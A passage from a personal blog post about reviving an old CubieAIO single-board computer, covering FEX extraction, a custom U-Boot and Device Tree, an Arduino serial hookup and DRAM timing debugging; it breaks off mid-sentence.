Linaro, the system it ran was so ancient I didn&#8217;t even want to connect it to the network. We&#8217;re talking kernel and userspace from the Snowden era&#8212;before modern mitigations, before systemd, before half the internet got TLS. The thing hadn&#8217;t seen a security patch in a decade. Whatever was running in there, it felt less like Linux and more like a digital biohazard.</p><p>Still, I wasn&#8217;t ready to give up. I wanted to understand how it booted&#8212;what made it tick&#8212;and figure out why no other OS would work. Maybe I could port something modern. So I started digging.</p><p>My attempts to boot newer images&#8212;Armbian, Arch Linux ARM, anything even vaguely modern&#8212;kept failing. Nothing worked. So I shifted gears and decided to treat the existing Linaro image as a forensic artifact. I mounted it, examined the filesystems, and started reverse engineering what I could from the live system.</p><p>The image had two partitions, but I focused on the boot partition first. That&#8217;s where the early-stage magic happens, and clearly something in there was being picky. Inside, I found three files:</p><pre><code><code>-rw-r--r-- 1 root root 46808 Mar 23 2017 script.bin 
-rw-r--r-- 1 root root 155 Mar 23 2017 uEnv.txt 
-rw-r--r-- 1 root root 4975864 Mar 23 2017 uImage</code></code></pre><p>I&#8217;d never seen a <code>script.bin</code> before&#8212;at least, not in any modern system. I hadn&#8217;t installed Linux systems this old in a long time, and whatever this was, it looked... prehistoric. So I started researching it.</p><p>Turns out, <code>script.bin</code><a href="http://www.imajeenyus.com/computer/20130301_android_tablet/android/fex2bin_etc.html"> is a compiled version of a </a><em><a href="http://www.imajeenyus.com/computer/20130301_android_tablet/android/fex2bin_etc.html">FEX</a></em><a href="http://www.imajeenyus.com/computer/20130301_android_tablet/android/fex2bin_etc.html"> file</a>&#8212;a proprietary hardware description format used by older Allwinner SoCs before the <a href="https://en.wikipedia.org/wiki/Devicetree">Device Tree </a>standard took hold. It tells the bootloader how to configure DRAM, GPIOs, display interfaces, voltages, clocks&#8212;basically everything the SoC needs to bring up the board.</p><p>If you&#8217;re dealing with Allwinner boards, you&#8217;ll run into &#8220;sunxi&#8221; sooner or later. It&#8217;s not a company, but a loose collective of hackers who basically rebuilt support for these neglected chips from scratch. The sunxi-tools were crucial in my workflow, and their wiki&#8212;<a href="https://linux-sunxi.org/">linux-sunxi.org</a>&#8212;felt like the only place where the board actually existed. While Allwinner dumped ancient blobs and vanished, the sunxi community quietly reverse-engineered the bootloaders, documented every weird register, and got many of these boards running on modern Linux. They did the vendor&#8217;s job, better than the vendor ever did.</p><p>I extracted the FEX file using the <a href="http://www.imajeenyus.com/computer/20130301_android_tablet/android/fex2bin_etc.html">bin2fex</a> tool, finally uncovering a human-readable hardware configuration hidden inside the binary blob. This file was essentially the board&#8217;s DNA &#8212; a detailed map of clocks, voltages, GPIO assignments, and storage parameters critical for initializing the hardware correctly.</p><p>Here&#8217;s a snippet from the extracted FEX:</p><pre><code>[product]
version = "100"
machine = "cubietruck"

[platform]
eraseflag = 0

[target]
boot_clock = 912
dcdc2_vol = 1450
dcdc3_vol = 1300
ldo2_vol = 3000
ldo3_vol = 2800
ldo4_vol = 2800
storage_type = 0
power_start = 1

[clock]
pll3 = 297
pll4 = 300
pll6 = 600
pll7 = 297
pll8 = 336

[card_boot]
logical_start = 40960
sprite_gpio0 =

[card0_boot_para]
card_ctrl = 0
card_high_speed = 1
card_line = 4
sdc_d1 = port:PF00&lt;2&gt;&lt;1&gt;&lt;default&gt;&lt;default&gt;
sdc_d0 = port:PF01&lt;2&gt;&lt;1&gt;&lt;default&gt;&lt;default&gt;
sdc_clk = port:PF02&lt;2&gt;&lt;1&gt;&lt;default&gt;&lt;default&gt;
sdc_cmd = port:PF03&lt;2&gt;&lt;1&gt;&lt;default&gt;&lt;default&gt;
sdc_d3 = port:PF04&lt;2&gt;&lt;1&gt;&lt;default&gt;&lt;default&gt;
sdc_d2 = port:PF05&lt;2&gt;&lt;1&gt;&lt;default&gt;&lt;default&gt;
[...]</code></pre><p>Interestingly, even though my board is a CubieAIO, this configuration file identified the machine as &#8220;cubietruck&#8221; &#8212; a close relative but not compatible out of the box. This mismatch explained why existing U-Boot images built for CubieTruck or CubieBoard2 failed on my device.</p><p>With this insight, I had a direction: use the FEX as a base to build a modern U-Boot configuration for the CubieAIO. Unlike ancient boot blobs, modern Allwinner boards rely on U-Boot with Device Tree to handle hardware init cleanly. If I could map the FEX data to U-Boot&#8217;s platform config and DRAM setup, I&#8217;d finally control the boot chain&#8212;and from there, chainload any OS I wanted.</p><p>This was the foundation for my resurrection effort &#8212; turning legacy blobs into actionable hardware knowledge and laying the groundwork for a usable, up-to-date system.</p><p>While doing all of this, I also had the idea to connect the board to a monitor via HDMI. Until now, I was relying solely on the built-in LCD to see anything&#8212;bad idea, in hindsight. One day, just for fun, I inserted an Armbian SD card and powered it on with HDMI attached. Boom. U-Boot output. The board was alive. It couldn't get to the kernel, but I was inside <a href="https://github.com/u-boot/u-boot">U-Boot</a>.</p><p>That changed everything.</p><p>I spent hours poking around the U-Boot shell, trying to debug <a href="https://www.kernel.org/doc/html/v4.14/admin-guide/kernel-parameters.html">bootargs</a>, kernel loading paths, memory layouts. But nothing worked. This board wasn&#8217;t the same as the <a href="http://www.cubietech.com/product-detail/cubieboard2/">CubieBoard2</a> or <a href="http://cubieboard.org/2013/10/30/cubieboard3-cubietruck-is-all-ready/">CubieTruck</a>&#8212;even if it shared the same SoC. Something wasn&#8217;t lining up.</p><p>So I cloned mainline U-Boot, grabbed the <code>Cubietruck_defconfig</code> as a starting point from the <a href="http://cubieboard.org/2013/10/30/cubieboard3-cubietruck-is-all-ready/">configs/</a> directory., and began hacking together a config for the AIO. It should&#8217;ve been a minor patch. It wasn&#8217;t.</p><p>The CubieTruck config was a minimal bootloader with just enough to bring up memory and storage. But the AIO needed proper GPIO, PMIC, USB PHYs, even HDMI and SATA support if I wanted to use the full board. That meant digging through the messy sprawl of <a href="https://www.kernel.org/doc/html/next/kbuild/kconfig-language.html">Kconfig</a> options, enabling frameworks like <code>CONFIG_DM</code>, <code>CONFIG_PINCTRL</code>, and power regulators, then carefully layering in just the peripherals I needed. Even now I&#8217;m not entirely sure which of those options were necessary and which not, but somehow I made it all work together eventually.</p><p>Eventually I had a build that seemed solid&#8212;U-Boot booted, gave me logs, showed signs of life. But there was a problem: USB didn&#8217;t work. No keyboard, no input, no way to interact with the shell. And that meant I needed serial.</p><p>I didn&#8217;t have a <a href="https://exp-tech.de/en/collections/usb-uart">USB-UART</a> adapter lying around&#8212;but I did have an <a href="https://docs.arduino.cc/hardware/uno-rev3/">Arduino Uno R3</a>. I wondered if I could abuse it as a dumb serial passthrough. Turns out, I could.</p><p>First of all, I had to find the UART pins on the board, so I disassembled the device, and they weren&#8217;t this hard to find:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!eJm8!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd728a275-bac5-4b14-ba05-c8f1262dde9d_4000x3000.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!eJm8!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd728a275-bac5-4b14-ba05-c8f1262dde9d_4000x3000.jpeg 424w, https://substackcdn.com/image/fetch/$s_!eJm8!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd728a275-bac5-4b14-ba05-c8f1262dde9d_4000x3000.jpeg 848w, https://substackcdn.com/image/fetch/$s_!eJm8!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd728a275-bac5-4b14-ba05-c8f1262dde9d_4000x3000.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!eJm8!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd728a275-bac5-4b14-ba05-c8f1262dde9d_4000x3000.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!eJm8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd728a275-bac5-4b14-ba05-c8f1262dde9d_4000x3000.jpeg" width="1456" height="1092" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d728a275-bac5-4b14-ba05-c8f1262dde9d_4000x3000.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1092,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:3073121,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.neagaru.com/i/170367488?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd728a275-bac5-4b14-ba05-c8f1262dde9d_4000x3000.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!eJm8!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd728a275-bac5-4b14-ba05-c8f1262dde9d_4000x3000.jpeg 424w, https://substackcdn.com/image/fetch/$s_!eJm8!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd728a275-bac5-4b14-ba05-c8f1262dde9d_4000x3000.jpeg 848w, https://substackcdn.com/image/fetch/$s_!eJm8!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd728a275-bac5-4b14-ba05-c8f1262dde9d_4000x3000.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!eJm8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd728a275-bac5-4b14-ba05-c8f1262dde9d_4000x3000.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">UART pins on CubieAIO</figcaption></figure></div><p>Here&#8217;s what my whole setup looked like:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!9vmW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa831243a-5231-4554-85cd-fe5d84c14251_4000x3000.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!9vmW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa831243a-5231-4554-85cd-fe5d84c14251_4000x3000.jpeg 424w, https://substackcdn.com/image/fetch/$s_!9vmW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa831243a-5231-4554-85cd-fe5d84c14251_4000x3000.jpeg 848w, https://substackcdn.com/image/fetch/$s_!9vmW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa831243a-5231-4554-85cd-fe5d84c14251_4000x3000.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!9vmW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa831243a-5231-4554-85cd-fe5d84c14251_4000x3000.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!9vmW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa831243a-5231-4554-85cd-fe5d84c14251_4000x3000.jpeg" width="1456" height="1092" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a831243a-5231-4554-85cd-fe5d84c14251_4000x3000.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1092,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:4647387,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.neagaru.com/i/170367488?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa831243a-5231-4554-85cd-fe5d84c14251_4000x3000.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!9vmW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa831243a-5231-4554-85cd-fe5d84c14251_4000x3000.jpeg 424w, https://substackcdn.com/image/fetch/$s_!9vmW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa831243a-5231-4554-85cd-fe5d84c14251_4000x3000.jpeg 848w, https://substackcdn.com/image/fetch/$s_!9vmW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa831243a-5231-4554-85cd-fe5d84c14251_4000x3000.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!9vmW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa831243a-5231-4554-85cd-fe5d84c14251_4000x3000.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Arduino + Cubie debugging setup</figcaption></figure></div><p>And here&#8217;s how the wiring works:<br></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!jXcT!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45340bce-0d99-4a50-bf06-16555a544ca2_4000x3000.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!jXcT!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45340bce-0d99-4a50-bf06-16555a544ca2_4000x3000.jpeg 424w, https://substackcdn.com/image/fetch/$s_!jXcT!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45340bce-0d99-4a50-bf06-16555a544ca2_4000x3000.jpeg 848w, https://substackcdn.com/image/fetch/$s_!jXcT!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45340bce-0d99-4a50-bf06-16555a544ca2_4000x3000.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!jXcT!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45340bce-0d99-4a50-bf06-16555a544ca2_4000x3000.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!jXcT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45340bce-0d99-4a50-bf06-16555a544ca2_4000x3000.jpeg" width="1456" height="1092" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/45340bce-0d99-4a50-bf06-16555a544ca2_4000x3000.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1092,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:4058381,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.neagaru.com/i/170367488?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45340bce-0d99-4a50-bf06-16555a544ca2_4000x3000.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!jXcT!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45340bce-0d99-4a50-bf06-16555a544ca2_4000x3000.jpeg 424w, https://substackcdn.com/image/fetch/$s_!jXcT!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45340bce-0d99-4a50-bf06-16555a544ca2_4000x3000.jpeg 848w, https://substackcdn.com/image/fetch/$s_!jXcT!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45340bce-0d99-4a50-bf06-16555a544ca2_4000x3000.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!jXcT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45340bce-0d99-4a50-bf06-16555a544ca2_4000x3000.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Arduino UART wiring setup</figcaption></figure></div><p>I lobotomized the Arduino by wiring RESET to GND, so the microcontroller stayed inert. Then I hooked up its TX/RX to the Cubie&#8217;s serial pins and ran <a href="https://en.wikipedia.org/wiki/GNU_Screen">screen</a> on my laptop. At first&#8212;nothing. No output. I shorted RX and TX on the Arduino just to test the loopback, and it echoed my keystrokes fine. So I swapped the Cubie TX/RX wires&#8212;because UART pin labeling is a mess&#8212;and boom. U-Boot logs, scrolling across my terminal. I was in.</p><p>This was the turning point. The screen came alive. I could finally see what the bootloader was doing&#8212;not through the guesswork of a blank LCD, but directly, precisely, and on my terms..</p><h1>Debugging USB and Migrating to Device Tree</h1><p>With serial access finally unlocked, I had visibility into the bootloader. U-Boot was alive&#8212;but USB wasn&#8217;t. No keyboard input, no device detection, just U-Boot logs complaining that it couldn&#8217;t find anything on the USB bus. That was a problem, because without USB, I couldn&#8217;t even interact with the system directly.</p><p>The cause wasn&#8217;t obvious, but I had a working theory: the old FEX config was lying to me.</p><p>Remember, I had extracted this FEX using <code>bin2fex</code>, and it even proudly announced:</p><pre><code>[product]
version = "100"
machine = "cubietruck"</code></pre><p>But this wasn&#8217;t a Cubietruck. And despite sharing some lineage, the USB layout clearly didn&#8217;t match. I needed to port this FEX config into a proper Device Tree Source (DTS) file&#8212;the modern standard used by U-Boot and Linux to describe hardware. This wasn't a simple rename-and-go job. FEX is a quirky INI-style format; DTS is hierarchical, symbolic, and tied to the kernel&#8217;s driver model. The translation required meticulous, manual work.</p><p>This wasn&#8217;t just a rename-and-go job. FEX is a janky INI-style format used in ancient Allwinner bootflows, while DTS is hierarchical, symbolic, and tied closely to the kernel&#8217;s driver model. The translation wasn&#8217;t clean.</p><p>So I did it manually. I took the extracted FEX as my ground truth, compared it to a known-good Cubietruck DTS from upstream U-Boot, and then rebuilt a custom <code>.dts</code> file line by line. I spent hours cross-referencing the FEX, a known-good Cubietruck DTS, and the A20 datasheet, matching FEX keys to their Device Tree counterparts...</p><p>I constantly cross-checked: what does the FEX say? What pins are mapped? Does this line up with what U-Boot is generating at runtime? It was meticulous, but it worked. After flashing the new U-Boot with my patched Device Tree, USB devices started responding. Still no OS yet, but now I had I/O&#8212;and, crucially, control.</p><h1>The DRAM Puzzle and the Memory Test Nightmare</h1><p>With USB finally cooperating, I thought I&#8217;d earned a breather. Instead, the board greeted me with two equally stubborn failure modes: either the display went dead right after the last <code>boot.cmd</code> message, or it just froze there, stuck mid-boot as if taunting me.</p><p>I went into full bootloader&#8211;kernel handshake troubleshooting mode. I reused the same device tree source from my earlier bootloader work, compiled a matching kernel image, and started experimenting. Some attempts were bare-bones manual &#8212; <code>mkimage</code>-wrapped <code>zImage</code> and DTB, loading them into memory, and issuing the boot commands by hand in U-Boot. Others were scripted into a <code>boot.cmd</code> that U-Boot would turn into a <code>boot.scr</code> so the whole sequence could run on its own. I even rolled the dice with an older cross-compiler, just to see if some subtle toolchain change was sabotaging the boot process.</p><p>Nothing changed the fact that the board either stared back at me with a frozen boot log or blinked into blackness.</p><p>I crafted a memtest script inside the bootloader and watched as it churned through the RAM. And then it hit me: errors everywhere. Not just a few glitches, but waves of faults scattered across the address space. The board looked like it had a dead or defective RAM chip.</p><p>I went back through the kernel&#8217;s <code>menuconfig</code>, scanning for any options that could plausibly influence my setup&#8212;DDR3 support, memory controller settings, bus widths, and so on. These had been sitting at their defaults; I hadn&#8217;t previously tuned them for this board, but I wanted to confirm nothing obvious was missing.</p><p>As another angle, I even swapped out my cross-compiler, moving from GCC 13.x down to the 12.3.rel1 release in case some subtle codegen quirk was creeping in. No dice&#8212;the behavior was unchanged.</p><p>At that point, frustration pushed me into U-Boot&#8217;s source tree, specifically the DRAM initialization code under <a href="https://github.com/u-boot/u-boot/tree/master/board/sunxi">board/sunxi</a>. The stock generic auto-configuration driver (<a href="https://github.com/u-boot/u-boot/blob/master/board/sunxi/dram_sun4i_auto.c">dram_sun4i_auto.c</a>) clearly wasn&#8217;t ideal for my CubieAIO. Most boards with stable bring-up had tightly tuned, board-specific DRAM init code. Since there was no <code>dram_cubieaio-a20.c</code> anywhere in tree, I wrote my own, using those tuned examples as a reference. This gave me a second DRAM configuration path to test&#8212;one explicitly crafted for my board instead of relying on the generic heuristics.</p><p>I wrote my own version of that file, painstakingly cross-referencing:</p><ul><li><p>The Allwinner A20 SoC <a href="https://dl.linux-sunxi.org/A20/A20%20User%20Manual%202013-03-22.pdf">technical reference manual</a></p></li><li><p>The <a href="https://www.alldatasheet.com/datasheet-pdf/download/533425/HYNIX/H5TQ4G43AFR.html">SK Hynix DDR3 datasheet for H5TQ4G63AFR</a> chips soldered on the board</p></li><li><p>The legacy FEX config values dumped from the original Linaro system</p></li></ul><p>This structure defined clock speed, memory type, rank count, density, bus width, CAS latency, and most importantly, the timing registers (<code>tpr0</code> through <code>tpr5</code>) and EMR (extended mode registers).</p><p>The single most elusive parameter was the DQS Gating Delay, a subtle calibration value needed to synchronize data strobes with the clock. The <a href="https://linux-sunxi.org/A10_DRAM_Controller_Calibration">the linux-sunxi wiki</a> described it as an experimentally discovered window, often narrow and unique to each board's physical layout.</p><p>I tried dozens of values, monitoring boot success and memory errors. To help, I leveraged <a href="https://github.com/ssvb/a10-dram-tools">ssvb&#8217;s a10-dram-tools</a>, a set of utilities that read live DRAM controller registers from a running Linaro kernel. This gave me feedback about the timings that a known-good system was using.</p><p>The closer I got to the documented &#8220;working&#8221; window, the fewer errors appeared. But still, the memtest reported failures. Confused, I analyzed the failing addresses: they clustered suspiciously around <code>0x79f5xxxx</code>.</p><p>After a eureka moment, it dawned on me &#8212; <em>this memory region was reserved and actively used by U-Boot itself</em> for storing the <a href="https://devicetree-specification.readthedocs.io/en/stable/flattened-format.html">Flattened Device Tree (FDT) blob</a>. I was hammering on live memory in use. No wonder it failed.</p><p>Using U-Boot&#8217;s <a href="https://docs.u-boot.org/en/latest/usage/cmd/bdinfo.html">bdinfo</a> command, I confirmed the FDT location. I then adjusted my memtest to exclude this range, and suddenly, <strong>all memory tests passed</strong> without a single error.</p><p>The RAM wasn&#8217;t broken. I was just shooting myself in the foot.</p><p>With this revelation, I finally had:</p><ul><li><p>A working custom DRAM init tailored precisely for CubieAIO hardware</p></li><li><p>Verified stable memory with no errors beyond reserved regions</p></li><li><p>USB working alongside serial console for full I/O access</p></li></ul><p>At last, the hardware was stable enough to boot a mainline Linux kernel &#8212; the true rebirth.</p><h1>Bringing up Graphics and the Fatal Test</h1><p>With the DRAM init solid and the kernel happily booting, I finally had a working shell. First on Armbian&#8212;booted on the very first try, no hacks, no debugging, just straight in. I thought, <em>finally, I&#8217;m in familiar territory.</em> I swapped out Armbian&#8217;s rootfs for my own Arch setup, and to my surprise, it still worked. The only hiccup was the root partition not being detected on the first go, but that was a solved problem in my book&#8212;two edits later, it was booting cleanly into 